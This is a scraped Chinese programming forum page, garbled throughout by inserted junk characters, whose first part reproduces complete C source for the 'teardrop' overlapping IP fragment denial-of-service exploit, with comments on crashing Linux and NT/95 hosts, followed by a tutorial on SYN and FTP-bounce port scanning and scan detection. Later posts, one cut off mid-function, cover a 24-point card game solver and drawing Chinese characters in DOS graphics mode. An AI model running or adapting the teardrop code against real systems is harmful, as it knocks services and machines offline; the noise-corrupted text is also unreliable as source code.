* }/ D' U* l/ I2 Q/ S+ f#include <NETINET in.h>
#include <NETINET udp.h>
6 n; b! A1 N! u) W& C#include <ARPA inet.h>
#include <SYS types.h>
#include <SYS time.h>
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
0 r, ]) w' L5 m# U3 p0 m% R#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
4 Z/ V8 Q- H" n  M; s7 h+ J$ l#define UDPH 0x8 /* UDP header size */
) R0 D; b7 C% b& n8 s  f- c#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
5 s  \, ]* O& r$ V8 O#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
! |: g2 x8 S: l; U7 N4 o*/</P><P>void usage(u_char *);
' D9 D1 l3 ~) A8 @u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
+ \/ I, D* ^+ g$ `) ?void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
{
5 u: }( a" l/ I. E4 Z$ i! M1 D, T8 Dint one = 1,
count = 0,
9 U5 R, h& H5 I: Ji,
rip_sock;
1 g* x. N+ M* O9 b9 n" ku_long src_ip = 0, dst_ip = 0;
. I) A/ n. Q4 R% B3 s  M% cu_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
- N) T5 f# J( N, L* [( O0 F; Mif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
&lt; 0)
{
perror("IP_HDRINCL");
exit(1);
}</P><P>if (argc &lt; 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
' ]2 }, L1 I; z/ s2 T2 Cfprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  [1 i/ }+ M3 k{
* G2 r. B2 y" H8 a" F; }" C! ^switch (i)
% U2 O4 m$ Q4 r1 z6 k# d9 h{
, e2 o- `6 t- ~8 rcase 's': /* source port (should be emphemeral) */
" K0 Z# V& I2 m) {  Dsrc_prt = (u_short)atoi(optarg);
break;
1 I) R9 `  S9 N  C( {5 f( F4 `case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
9 G7 a/ K1 n7 Zbreak;
case 'n': /* number to send */
' ]" E9 k: [7 h1 U- l+ Tcount = atoi(optarg);
break;
, R; u& U! U5 k( X; I/ x8 Mdefault :
- A/ J7 I" Q! l% v; O- ^usage(argv[0]);
break; /* NOTREACHED */
}
}</P><P>srandom((unsigned)(time((time_t)0)));
# v. s7 f6 W: ]$ v2 K3 }, b- kif (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
0 q$ z5 ?$ c2 \$ }4 ?3 K. C: Y1 Fif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
/ r% s2 ]$ @' Z  D& s$ Q# ^* raddr.s_addr = src_ip;
, i: b" _: p, M0 _5 Hfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
1 A8 a  a! ^7 C0 x. K/ n! afprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
+ p4 e6 f8 X5 gfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
1 s! K" R- B# y' N& v( k8 \fprintf(stderr, "b00m ");
! r: L, t5 _* f/ H  h) l, Kusleep(500);
}
& Z( |! _- {( |6 I# c. b. E; hfprintf(stderr, "]\n");
return (0);
5 n+ _0 r( @6 y/ H* C& e0 Y}</P><P>/*
* Send two IP fragments with pathological offsets. We use an implementation
' f- E8 l( {7 B( k5 A/ K* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
; h8 P) P3 U: j5 J5 m6 \u_short dst_prt)
' A6 m1 j$ W: Q: S{
2 P6 K, u: \( E. X: T3 ~u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
4 ^; @; V0 ^, [. W3 p' F! q0 D2 Mstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;</P><P>/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
3 _9 v9 V' `+ o*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
4 d; y# ^2 w! v, H6 j' D0 jbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
! r) ^$ |3 `2 ^3 @memcpy(p_ptr, &amp;byte, sizeof(u_char));
) c# P, h2 {# c" z9 f* }" ]0 op_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 `+ |  ~  Z% b. [+ E$ y" ^p_ptr += 2;
0 H: }+ T+ [. Z# p# l# X1 m; y*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
+ @2 y- d9 n) R& ?( [4 \/ [*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
3 y8 [. R' |- \! Xp_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
+ H' `# i6 c8 [- s3 dp_ptr += 4;
; L  M- T/ ~& C  m$ P*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ o; F; d) q! e3 N3 \7 O/ cp_ptr += 4;
2 w, L8 s' J; B* ^; W& L*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
: E: W  ?- `5 G$ C7 Bp_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
1 w4 q+ Q& Z  f% Qp_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
% C; C$ i2 Q1 F* O  [2 Osizeof(struct sockaddr)) == -1)
' ^8 i$ F0 {" P, K) b9 J: m{
# D. }! e: x0 o9 X- M8 ]) zperror("\nsendto");
free(packet);
+ }9 \( A6 W) w; Y' `% gexit(1);
: {# b/ m  D! [3 D  N7 i8 o6 n}</P><P>/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
% `  G1 a: ?; `0 K6 D* enough payload to cover complete the datagram. Just the header will
- x+ |  T& A) ?8 |9 @2 C3 m* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
. W% p8 R  d* Q*/
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
" I  o9 \- p, F7 \3 [*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
{
( {1 V% g. I/ d. `perror("\nsendto");
free(packet);
exit(1);
}
0 I, L: E, H- d  kfree(packet);
}</P><P>u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
, x# Y3 x8 J1 h9 zstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
{
8 f! O- m4 L/ Y3 M% R  F" Bif (!(host_ent = gethostbyname(host_name))) return (0);
9 }1 d: |# t) V3 W6 I- \bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
; c: W' W* U8 w}
return (addr.s_addr);
}</P><P>void usage(u_char *name)
  [; h) w# H: p3 t/ n{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
/ d$ T0 b5 j8 [) M% hname);
exit(0);
}</P><P>
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
, p' Q1 }1 ^1 s* C# S. ]: u. V' w(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
0 `8 O# U. L' ]% f+ R0 v- [4 Q% C1 e如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
4 J) j- w* I2 ?+ `6 \2 ^0 q8 ^值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
5 p) B# T- n  W- O0 ]6 s0 utelnet 192.168.1.13 21
Trying 192.168.1.13...
5 @, v2 i; q  u& Q$ \Connected to pp.bricks.org.
6 N, J7 M3 k4 Z) v, e5 R( mEscape character is '^]'.
6 @& [  c+ {3 J" e) f( Y& m* ^220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
331 Guest login ok, send your complete e-mail address as password.
8 D6 V+ [; d: Z3 z) dpass aa@aa.aa
230 Guest login ok, access restrictions apply.
# N, ^4 [& V/ T& p6 Q9 V2 _port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
1 z2 R6 a+ d0 f- ^//该端口未活动
. m' F! ?& R$ `% n3 O150 Opening ASCII mode data connection for file list.
2 r7 K1 _3 n& \) M  b226 Transfer complete.
//该端口活动中
& B' d8 a% |& v) J但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
) }1 e6 u- D* Z" g8 f6 f一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
7 N# _& P  O- ]5 m+ J) Z, T5 f若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
9 D5 g& p1 o% Y. N+ K定它在向你做portscan。</P><P>notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
4 g0 m9 a' }' G; X  _而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

---

作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。
* g8 S0 s" l2 t0 f
　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
0 S! _% G# p& W' @首先穷举的可行性问题。我把表达式如下分成三类——
, c' R! N3 }, H! M6 n+ A<FONT color=#ff0000>1、 无括号的简单表达式。
2、 有一个括号的简单表达式。
3、 有两个括号的较复4、 杂表达式。
  u  t( V/ Y9 d9 U0 [</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
/ z2 Q; |' V- j  R3 W<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
/ a; Y  j' A( S8 Y* d0 }/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
0 r. }0 s7 Q, b. N: p用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
; Z9 h- Q9 b5 _) \/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
- _( V% Z, H9 q6 rint j,k[],c[];char ans[],kans[];
% p4 F/ ^3 x3 E+ \% e{ int i,p,q,r,h,flag,s[4],t[4][4];
& o2 h2 q6 e) N: ?0 I" Gfor(p=0,q=0;p&lt;4;p++)
% m( O$ T7 X" }: E/ ]+ t{ for(r=0,flag=0;r<J;R++)
, @$ ~. Z+ l5 x4 U* r if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
3 R! a$ b1 x1 |) z% d) z}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
{ kans[j]=t[j][s[j]];
, y- W' \+ ]) _if(j==3) { for(h=0;h&lt;4;h++)
2 H1 t; [; @1 y. m# G1 S, z" c8 Hans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
for(h=0;h&lt;3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
6 n7 T+ t) m$ t. Z7 Q6 e}
else { j++;
7 n6 F, A' t7 l, tfans(c,k,ans,kans,j);
& ^7 j$ k0 q" Q: I; L) d7 oj--;
}
}
5 R8 K1 p8 z) L* X8 C# }3 k5 ?; ^! O}</FONT>

　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:
& q- a# k. V5 h
) f2 J, [2 N% u+ t+ s1 f<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
  e! K, t1 h1 y' J; a8 j4 ~int sans(ans,sy,j,h)
6 G3 G% B1 E" \: Z) _% h; ^char ans[],sy[];int j,h;
' v& ~! B3 t) |4 y9 t# A( W{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]&lt;4;k[j]++)
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
" j8 }4 H/ I2 }2 D& k1 [) A{ ans[5]=sy[k[j]];
' T+ `, G, s( s; @  g/* 此处根据不同的表达式形式再进行相应的处理 */
}
else { j++; sans(ans,sy,j--,h); }
}
}

</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m&lt;=4;m+=2)
for(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。
! m+ h! Y/ V: B% o+ L
　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
" B: E4 i5 r! e) G7 a& R</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
$ ~4 {8 W0 {' s: }, E/ p( \- j/ g2 u& A在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

8 L; a  a. U' i7 Z4 }# M　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
, `6 Q2 ?$ f6 V6 i: j; v
　　那么作为栈的著名应用，表达式的计算可以有两种方法。

2 R2 a/ V6 c1 j$ A8 `7 n! V　　<FONT color=#ff0000>第一种方法——</FONT>
6 g* f4 [  L5 f. @7 p: q! q　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、 若W为操作数
; ]* z' ^6 y+ \1 ~4 C2、 则将W压入操作数栈OVS
3、 且继续扫描下一个字符
4、 若W为运算符
: J& U1 P5 z7 y* v2 z1 i5、 则根据运算符的性质做相应的处理：
( ]. R/ N* m1 ~2 O/ i# P  L(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
, a) v% W1 N. U% s3 w(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
  v) r5 |. f, B) u/ s(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
* I$ v3 k  H0 d6 v( \- E
4 ?5 ?# M/ U! V9 _, ?3 O<FONT color=#ff0000>　　第二种方法——</FONT>
) r( m2 [8 G4 k1 x; N/ b& h　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

! l7 V8 {# a1 U7 }4 t　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。
: H3 Z. A- P2 n1 \4 F% K
　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
+ ^# S2 q) i! F) a4 l5 Z% r表达式 波兰表达式
A-B AB-
. m7 L$ O! x2 p3 m（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/
/ e! Z) C/ Z3 y; b$ y
　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
: C. ]9 Z. T. {! c0 M  O& i
　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
+ v  S2 B2 r( U' {4 x5 zint first(char c)
{ int p;
8 m0 E3 Q2 C1 Q& H0 pswitch(c)
' F) s4 ]  m. D1 A! h{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
7 S/ d; h* N; n) M; ?5 Tcase '(': p=0; break;
case '=': p=-1; break;
1 ^0 S. F) P! N- W/ {}
; h: V$ a3 O) t+ j0 l% t+ n1 z3 ?return(p);
}
6 g5 U2 ^' B  b- [" E/* 此函数实现中缀到后缀的转换 */
1 a( d+ W" o; z7 R/ _/* M的值宏定义为20 */
3 S2 R% k" O: C" S$ X/* sp[]为表达式数组 */
# c1 W3 @  j- w2 t0 p8 @8 {# bint mid_last()
{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
% @" g( S; ^$ e' h8 swhile(c!='\0')
  E% A+ l. G) C% b# M+ V{ if(islower(c)) sp[j++]=c;
else switch(c)
{ case '+':
; z* I/ S0 M2 b2 f" j. Ycase '-':
case '*':
case '/': while(first(c)&lt;=first(sm[top]))
+ `# _0 j% R$ u/ G" O1 nsp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
4 \$ T5 f9 [  Osp[j++]=sm[top--];
4 V3 L( `% H) m5 ntop--; break;
  e; [; [2 h" o. L, C  I2 adefault :return(1);
: l% T0 i( k0 ^2 M% |+ T}
9 c7 ~  z/ c8 ?; X) E6 q$ Vc=s[++i];
! V, p) ^  L7 y* i( u}
while(top&gt;0) sp[j++]=sm[top--];
5 p7 ?' q( V/ R4 N1 Qsp[j]='\0'; return(0);
9 J3 K: e8 ~( Y- W" [}
2 P. M2 o1 J2 ]' o6 C% }/* 由后缀表达式来计算表达式的值 */
int calc()
% W' s8 G/ A8 W4 [1 u+ C{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
8 X$ P% i/ q4 j4 ?; x+ j这样才可以更方便的处理非一位数，
; D. Z- O. z  K/ U9 uver数组中存放着这些字母所代替的数*/
+ @; U, v; d4 H/ P  Selse switch(c)
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
- c6 f* N3 @- \) b- |* w% c) Vcase '*': tr=sm[top--]; sm[top]*=tr; break;
; f2 T0 B7 H" Kcase '/': tr=sm[top--];sm[top]/=tr;break;
9 e- V9 @3 b' S& m: Y0 G: Kdefault : return(1);
) {: y1 M3 }; r0 g$ N# O}
c=sp[++i];
}
% R5 h8 r4 G2 F8 Pif(top&gt;0) return(1);
else { result=sm[top]; return(0); }
}
8 m2 ^% I! w5 M# K! J! A</FONT>
5 a9 m# ]9 y% X9 y3 C" T0 A　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

　　最后我总结了一下这其中容易出错的地方——

! }4 O% S6 z- {4 \# M, [　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。
- q6 z. Q' h, E" H; i5 u% l
  t( [0 D7 Q9 P' ~* v8 @　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。
# M* d' x# w- K) l1 n8 E0 v
　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。
) r1 P$ p5 N9 t& \$ F$ u, }
　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

- W1 X  P% N, ~" D$ q　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。
' @( I4 E- ]# i
　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

- f+ d$ u; y1 ?& O4 z8 \+ H/ E　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
</P>

---

作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>
6 K8 v, q! d/ `7 H1 N图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
5 o! U, h* O- V. S　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
8 [( e9 c" m# U  f8 [　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
& x& v& T: _6 F( U/ `$ X6 }( s4 a　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
1 j* D0 q  N7 ^$ `' [# Clong l; /*color:txt color*/
4 \5 e0 M$ q- f& G/ v3 r" i5 `' Jchar by[32]; /*p:HZ str*/
) w/ i. X2 t5 ^- s; Iif( handle&lt;0 ) return -1; while((i=*p++)!=0){
if(i&gt;0xa1)
. b3 x+ C" p0 e2 I7 `9 Fif(f==0){
% }* o- c4 ?4 g4 R9 D8 Oc1=(i-0xa1)&amp;0x07f;
& v$ C4 m9 e/ b4 O. S% J# Uf=1;
}
else{
; n% L8 N4 N' e! |1 bc2=(i-0xa1)&amp;0x07f;
/ p2 ]/ i" {+ b1 V, V# ]% Xf=0;
rec=c1*94+c2;
l=rec*32L;
  P8 R( O) z& K& T8 i" ]lseek(handle,l,SEEK_SET);
read(handle,by,32);
8 _+ r) x: \6 @0 Mfor(i1=0;i1&lt;16;i1++)
$ H9 z5 A2 {* E' `for(i2=0;i2&lt;2;i2++)
$ K+ U/ n( V+ ?6 @* K+ zfor(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
6 @2 Z, Q  ?) H$ F9 Cx=x+z+16;
}
}
return(x);
}
2 T/ {) x- @1 R  j函数GetBit定义如下：
, s: _' S4 U; Y9 t. G7 |　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
$ M, e$ h9 J0 Q( e" Eint GetBit(unsigned char c,int n)
{
4 ?" [# R% F. A. f: \  ~! Oreturn((c&gt;&gt;n)&amp;1);
}
汉字显示结束，应该关闭字库文件。
1 E+ A( I9 e6 p1 Q3 Wvoid CloseHz(void)
{
close( handle );
) ~  T; R/ @7 V/ N8 e6 `}
0 ^- `; G* X+ F6 u% C#include "\Caic\Include\Hz.h"
* C% W: z* |7 I6 v7 \; _+ E2 S  e#include <GRAPHICS.H>
+ S- [2 n5 W9 Y#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
+ P$ ]0 R# [/ U9 M5 h, T' ?, b' F! zint gr=DETECT,gm;
* F: t5 E- f1 G; N5 V! l2 Uinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
' S1 Y8 [. p+ S/ Z9 W5 R1 JOpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
4 h( o7 p3 h* H9 w" v9 Kgetch();
closegraph();
}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
5 [, B6 Y& e" P函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
8 }6 n9 b8 g. @1 S2 o5 y{
0 \# R' o1 k' n# _, G: H  |; Gunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
